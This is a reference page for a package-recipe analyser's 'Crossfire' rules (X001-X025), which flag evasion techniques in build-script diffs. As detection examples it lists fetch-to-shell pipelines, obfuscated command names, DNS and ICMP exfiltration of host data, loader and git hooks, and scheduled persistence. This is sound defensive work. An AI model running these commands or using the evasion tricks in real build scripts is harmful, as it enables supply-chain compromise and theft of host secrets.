Skip to content

Crossfire

Crossfire rules fire on how a diff is written, not on what it does.

Every other rule family matches a payload: a fetch, a write, a privilege change. Crossfire matches the technique used to hide one. A word the tokenizer cannot reduce to a literal, a command carried in a config value, a pipeline whose sink has no name the analyser knows - each is evidence on its own, whatever payload sits behind it.

This is a reference page. For how rules are weighted and scoped, see Rule System. For the families that match payloads, start at All Rules.

Why the family exists

Payload rules depend on resolution. When resolution fails, they produce silence, and silence reads identically to a clean package. Crossfire inverts that: a defeated tokenizer produces a finding rather than nothing, so evasion and alarm are the same event.

One crossfire rule covers the evasion surface of every payload rule at once. It does not identify which payload was hidden, only that hiding occurred.

What crossfire does not do

  • It does not replace tokenizer fixes. A payload hidden by an unanticipated technique still passes.
  • It does not claim bytes another rule claims. Base64-to-shell belongs to R003 and R043, bidi and homoglyph codepoints to R013, and ~/ writes to H032.

The gate is the file, not the function

Crossfire rules run against shell files. A .desktop entry, a licence text or a README is not a shell file, and a character or construct that would be evasion in a recipe is ordinary content there.


Rules on this page

Rule Name Severity
X001 Encoded Payload Decoded And Executed CRITICAL
X002 Non-Literal Executable Name CRITICAL
X003 Obfuscated Command Argument HIGH
X004 Build Output Suppressed MEDIUM
X005 Home Reached By An Alternative Spelling HIGH
X006 Source Points Somewhere Unexpected HIGH
X007 Multiple Evasion Techniques CRITICAL
X008 Whitespace A Shell Does Not Split On MEDIUM
X009 Fetch Through An Uncatalogued Client CRITICAL
X010 Interpreter One-Liner Reaches The Network HIGH
X011 Package Manager Runs Fetched Code At Build Time HIGH
X012 Build Toolchain Redirected Into The Source Tree HIGH
X013 Fetch Redirected Or Trust Root Replaced HIGH
X014 Environment Variable Names Code To Run HIGH
X015 Work Scheduled To Run After The Build HIGH
X016 Fetch Piped Into An Unrecognised Consumer HIGH
X017 Tool Flag Or Builtin Carries A Command HIGH
X018 Interpreter One-Liner Assembles A Name HIGH
X019 Host Material Sent Or Packaged HIGH
X020 Recipe Writes The Build Steps The Engine Runs HIGH
X021 Executor Runs A File Chosen At Runtime HIGH
X022 Generated Config Handed To The Tool That Reads It HIGH
X023 Command Output Executed As A Script HIGH
X024 Indirect Sensitive Assignment HIGH
X025 Multi-Line Function Shadow HIGH

X001: Encoded Payload Decoded And Executed

CRITICAL (weight 40) · category evasion

Fires when an encoded blob is decoded and the result reaches a shell or interpreter inside an executing scope. Covers hex and octal escapes, reversed hex dumps (xxd -r, od -An, hexdump), non-base64 decoders (base32 -d, basenc, openssl enc -d, uudecode), ANSI-C $'...' blobs, and tr rotations.

Base64 is excluded: R003 and R043 claim it.

The executor set includes every shell spelling (ash, mksh, pdksh, yash, posh, busybox sh, env -S sh, source /dev/stdin) and the interpreters. printf '\x63...' | python3 decodes and executes, which is the rule's claim; no recipe pipes a hex blob into an interpreter by accident.

Related: R003, R043

X002: Non-Literal Executable Name

CRITICAL (weight 40) · category evasion

Fires when the word in command position is not a literal. Recognised shapes:

Shape Example
variable $cmd, ${A[0]}, ${!ref}, ${c//X/}
substitution $(printf '\x63\x75\x72\x6c'), backticks
quote break c"u"rl
ANSI-C string $'\x63\x75\x72\x6c'
brace expansion cur{l,}
homoglyph сurl (Cyrillic с)
glob /usr/bin/c?rl, cur[l]

Three exclusions keep it precise:

  • An assignment is not a command. font=$(grep ...) names no executable.
  • A variable the tokenizer resolved to a literal is a spelling choice, not an evasion.
  • A glob needs a name character before the metacharacter, so the [ of if [ -f x ] is not a command name.

X003: Obfuscated Command Argument

HIGH (weight 25) · category evasion

Fires on a curl/wget long option truncated to a unique prefix (--upload-f), a shell invoked with options stuffed around -c (bash -lc, sh -ec, sh -ce), or a URL whose host is an octal, hex or integer-encoded IP.

sh -c is ordinary and stays quiet. The option cluster must hold at least two letters, and the c may sit anywhere in it.

X004: Build Output Suppressed

MEDIUM (weight 15) · category evasion

Fires on TERM=dumb (quoted or not), set +x in any letter order, set +o xtrace, or a redirection that detaches a stream (exec >/dev/null, exec 2>>/dev/null, exec &>/dev/null, exec 2>&-) inside an executing scope.

MEDIUM because hiding output is weak evidence alone; its value is compositional, in X007. Bare 2>/dev/null is excluded as noise.

X005: Home Reached By An Alternative Spelling

HIGH (weight 25) · category evasion

Fires when a write or redirect reaches a home directory by a spelling H032 does not match: /home/alice, /home/$USER/..., ~alice, /root, ${HOME:-/home/alice}/..., or a traversal naming home or root. The trailing separator is optional.

Defers rather than doubles: a target H032 claims is skipped, so one write scores once.

Staging paths are exempt, and the exemption belongs to the target, not the line, and is case-sensitive. $PKGDIR is not a makepkg variable and expands to nothing, so "$PKGDIR/../../home/alice/.bashrc" is a home write.

X006: Source Points Somewhere Unexpected

HIGH (weight 25) · category evasion

Fires on a URL shortener or a raw-IP URL anywhere in the diff. Neither is legitimate in a source= array: a shortener hides the destination from the reader, and a raw IP has no name to check.

Schemes match case-insensitively, as RFC 3986 requires and curl accepts.

X007: Multiple Evasion Techniques

CRITICAL (weight 40) · category evasion

Fires when two or more distinct crossfire techniques appear in one diff. One technique can be an accident of style; two is a method.

X008: Whitespace A Shell Does Not Split On

MEDIUM (weight 15) · category evasion

Fires on a whitespace character other than space, tab, newline or carriage return, on an executing line of a shell file.

bash splits words on space, tab and newline. A line reading make install with a NBSP between the words displays as a command and executes as the single unknown word make install. What the reviewer reads is not what the shell runs.

MEDIUM, not FATAL: the line fails closed, the command is simply not found, and the realistic benign cause is a copy-paste from a web page.

Zero hits on the benign corpus. One diff in 3,246 carries such a character at all, in a font licence, which is not a shell file.

Related: R013, which claims a disjoint set of codepoints at FATAL.

X009: Fetch Through An Uncatalogued Client

CRITICAL (weight 40) · category evasion

Fires when a network client other than curl/wget feeds a shell or interpreter on an executing line.

Fires Quiet
lftp -c "cat URL" \| bash curl URL \| bash (R001 claims it)
nc host 80 \| bash dig +short TXT d \| head
ssh host cat /srv/p.sh \| sh git ls-remote URL \| wc -l
dig +short TXT d \| tr -d '"' \| sh

The rule reads the end of the pipeline, so intervening filters do not hide the chain. The client vocabulary is shared with H016, H082 and R051 through config.NETWORK_CLIENT.

curl and wget are excluded: R001 and R002 claim those, and one operation scored twice is its own kind of wrong.

X010: Interpreter One-Liner Reaches The Network

HIGH (weight 25) · category evasion

Fires when a -c/-e/-r script contains a URL or a fetch call (urlopen, requests.get, file_get_contents, LWP, socket.connect). No shell client is involved, so H016's inventory never sees it.

X011: Package Manager Runs Fetched Code At Build Time

HIGH (weight 25) · category evasion

Fires when a language package manager resolves and executes third-party code during the build (npm install, pip install, cargo, go install, gem, composer, npx, deno run).

Stands down for local paths, which mean "install what this recipe just built". Distribution tools are the exception: pacman -U ./evil.pkg.tar.zst installs a local package as root, scriptlets and all.

Related: W002, which reports the same act at weight 0 when nothing else claims it.

X012: Build Toolchain Redirected Into The Source Tree

HIGH (weight 25) · category evasion

Fires when CC, CXX, LD, AR, PATH, LD_PRELOAD, LD_LIBRARY_PATH, PYTHONPATH, MAKEFLAGS or a sibling is assigned a path under $srcdir, $startdir or $pkgdir, and a compile or configure step follows.

The consumer may be an unchanged line. An override added above an existing make is the shape where the attacker supplies one line and the recipe supplies the rest.

PATH="$srcdir:$PATH" counts: the variable need not be followed by a path component.

X013: Fetch Redirected Or Trust Root Replaced

HIGH (weight 25) · category evasion

Fires when the recipe changes where a fetch goes or what it trusts: a proxy export, --resolve, --connect-to, --doh-url, or a replaced CA bundle (--cacert, SSL_CERT_FILE, CURL_CA_BUNDLE).

The URL a reviewer reads is then not the machine the build talks to. R057 owns -k/--insecure, which turns verification off; this is the other half, keeping verification on and owning what it checks against.

X014: Environment Variable Names Code To Run

HIGH (weight 25) · category evasion

Fires when a variable or flag carries a value the receiving program executes.

Kind Examples
shell hooks BASH_ENV, ENV, PROMPT_COMMAND, PS0, PS4
tool hooks GIT_SSH_COMMAND, LESSOPEN, PAGER, EDITOR
loader LD_AUDIT, GCONV_PATH, LOCPATH, HOSTALIASES
interpreter preload RUBYOPT, PERL5OPT, PYTHONSTARTUP, LUA_INIT
git config keys core.fsmonitor, diff.external, filter.*.clean, credential.helper
flag values --pre-exec, ProxyCommand, rsync -e, any flag whose value begins with an executor and names a build directory

PERL5LIB and PYTHONPATH are excluded: they name where to look for modules, not code to run, and X012 already claims a library path pointed into the source tree.

git's own semantics decide which values execute. submodule.<n>.update takes checkout|rebase|merge|none|!command and an alias is a git subcommand unless prefixed with !, so git config submodule.x.update none is quiet.

Stands down when the value is a harmless constant (PAGER=cat, EDITOR=true).

X015: Work Scheduled To Run After The Build

HIGH (weight 25) · category evasion

Fires on crontab, at, batch, systemd-run, incrontab, entr, inotifywait, udevadm control, systemctl start, or systemctl enable --now.

These register work on the machine doing the building, outside anything pacman records or can remove. batch reads its command from stdin and needs no argument.

Plain systemctl enable is absent: a package's .install scriptlet enabling its own unit is ordinary packaging, and R054 reads the unit file itself.

X016: Fetch Piped Into An Unrecognised Consumer

HIGH (weight 25) · category evasion

Fires when a pipeline starts with a network client and ends in a command that is neither a known data consumer nor an executor R001 claims.

Fires Quiet
curl u \| deno curl u \| tar -xz
curl u \| bun curl u \| sha256sum -c
curl u \| pwsh curl u \| jq -r .x
curl u \| Rscript curl u \| sudo tee /etc/x

The rule enumerates consumers, not executors. The set of interpreters is unbounded and chosen by the attacker; the set of things a recipe pipes a download into is small and chosen by the ecosystem - an extractor, a checksum, a text filter, a viewer.

A sink outside that set is claimed, not because it is known to be an interpreter but because it is not known to be a consumer.

The sink is read after the last unquoted |, so echo "a|b" | tar has one pipe, and wrappers (sudo tee, LC_ALL=C sort) are stepped over.

Zero occurrences in the benign corpus.

X017: Tool Flag Or Builtin Carries A Command

HIGH (weight 25) · category evasion

Fires on a command placed where a command is not expected:

Form Effect
tar --checkpoint-action=exec=CMD runs per archive checkpoint
tar --to-command=CMD runs per archive member
find … -exec sh {} + runs per match, with {} as the argument
enable -f payload.so name loads an arbitrary ELF into bash
hash -p PATH name makes an existing name resolve elsewhere

find -exec is narrowed to an executor: find "$pkgdir" -type f -exec chmod 644 {} + is how permissions get fixed.

Zero occurrences in the benign corpus.

X018: Interpreter One-Liner Assembles A Name

HIGH (weight 25) · category evasion

Fires when a -c/-e/-r script builds the name it calls, or hands a build-tree path to an exec primitive.

Fires Quiet
python3 -c 'importlib.import_module("url"+"lib.request")' python3 -c 'import sys; print(sys.version)'
node -e 'require("child_"+"process")' python3 setup.py build
python3 -c 'getattr(__import__("os"),"sys"+"tem")(c)' ruby -e 'puts RUBY_VERSION'
ruby -e 'exec "bash", "$srcdir/x.sh"'

X010 and R044 look for a module or function name. A keyword list in a language with string concatenation is a suggestion, so this rule looks for the assembly instead: reflection primitives, glued name literals, and exec calls naming a build directory.

X019: Host Material Sent Or Packaged

HIGH (weight 25) · category evasion

Fires on two shapes of one act.

Sent. A DNS query whose name is computed (dig +short "$(hostname).e.example") or an ICMP payload that is a hex dump (ping -c1 -p "$(od -An -tx1 /etc/hostname)"). Both carry data out in a field nobody reads as a channel.

Packaged. env, /etc/machine-id, ~/.ssh, /etc/hostname or shell history written into $pkgdir. Nothing is sent at build time; the exfiltration happens at publication.

DNS clients are anchored to command position: host is also an English word, and echo "Host: $(uname -rn)" is a build script printing a banner.

X020: Recipe Writes The Build Steps The Engine Runs

HIGH (weight 25) · category evasion

Fires when a printf/echo/cat/tee writes a build manifest - build.ninja, Makefile, BUILD.bazel, meson.build, a *.mk - whose content carries a directive the engine executes.

A manifest is normally upstream's, or generated by cmake or meson from upstream's. When the recipe writes one, the commands in it are the packager's, and they are data until the engine runs them: no execution rule reads a command = line.

Claims authoring, not transforming. sed -e … Makefile > dest rewrites upstream's steps, which is how a DKMS package substitutes a kernel version.

Zero occurrences in the benign corpus.

Related: W004, W005

X021: Executor Runs A File Chosen At Runtime

HIGH (weight 25) · category evasion

Fires when a known executor's file argument is a positional parameter, an array element, or a glob.

Fires Quiet
set -- *.sh; bash "$1" bash setup.sh
mapfile -t A < <(ls *.sh); bash "${A[0]}" exec "$@"
IFS=:; bash $* for f in *.sh; do echo "$f"; done
bash *.sh

X002 asks whether the command can be read from the text; this asks the same of its argument. bash is literal in every firing case, so X002 stands down and every path-pairing rule looks for a filename that is not there.

set -- *.sh followed by a bare "$@" is a pairing: neither line is suspicious alone, and exec "$@" is how a wrapper forwards its arguments.

Zero occurrences in the benign corpus.

X022: Generated Config Handed To The Tool That Reads It

HIGH (weight 25) · category evasion

Fires when a write produces a file whose content names a build-tree path, and a later line passes that file - or its directory, behind a configuration flag - to a program.

printf "dhcp-script=$PWD/x.sh\n" > "$srcdir"/d
dnsmasq --conf-file="$srcdir"/d

H089 and H093 claim configs that are shipped. This one stays in the build tree, where naming $srcdir is normal, and is never installed. What makes it execution is the second line: the recipe runs the program that reads the file, on the build machine, at build time.

The pairing is the observable. Writing a config is ordinary; passing a filename to a program is ordinary.

The destination is the last unquoted >, because config bodies contain > themselves.

Zero occurrences in the benign corpus.

Related: W006, which reports the write alone at weight 0 when no tool reads it.

X023: Command Output Executed As A Script

HIGH (weight 25) · category evasion

Fires when a pipeline ends in a shell and does not start with a network client.

Fires Quiet
pass otp e \| bash curl u \| bash (R001 claims it)
cat /sys/kernel/tracing/trace \| bash make 2>&1 \| tee build.log
perf script -i data \| bash find . -name "*.o" \| xargs rm -f
gpg-connect-agent "KEYINFO" /bye \| bash

The bytes are produced locally, so no fetch rule has anything to say, and what runs is whatever the command printed.

A trailing || true ends the pipeline rather than voiding it, so cmd | bash || true is claimed.

No package in the 3,246-diff benign corpus pipes anything into a shell.

X024: Indirect Sensitive Assignment

HIGH (weight 25) · category evasion

Fires when a sensitive makepkg variable (DLAGENTS, COMPRESS*, PACMAN_AUTH, CFLAGS, LDFLAGS, MAKEFLAGS, PATH, LD_PRELOAD, LD_LIBRARY_PATH) is assigned a value that comes from another variable, a command substitution, or an array expansion.

Fires Quiet
DLAGENTS=("${_agents[@]}") DLAGENTS=('http::/usr/bin/curl')
COMPRESSZST=$(get_compress) CFLAGS="-O2 -march=x86-64"
CFLAGS="${_cflags[*]}" LDFLAGS="-Wl,-O1 -Wl,--as-needed"
PACMAN_AUTH="${_auth}" MAKEFLAGS="-j$(nproc)"

The evasion: DLAGENTS=("${_agents[@]}") looks like a pass-through but the actual value was set in a function. Good PKGBUILDs assign literal values to these variables.

X025: Multi-Line Function Shadow

HIGH (weight 25) · category evasion

Fires when a function definition is split across multiple lines using backslash-newline continuations, specifically for functions in the shadowed set (shell builtins, makepkg helpers, common utilities).

Fires Quiet
msg()\ + { on next line build()\ + { on next line
cd()\ + { on next line helper()\ + { on next line

H097 catches msg() { on a single line; X025 catches the multi-line variant where the brace is on the next line. Good PKGBUILDs do not split function definitions across lines.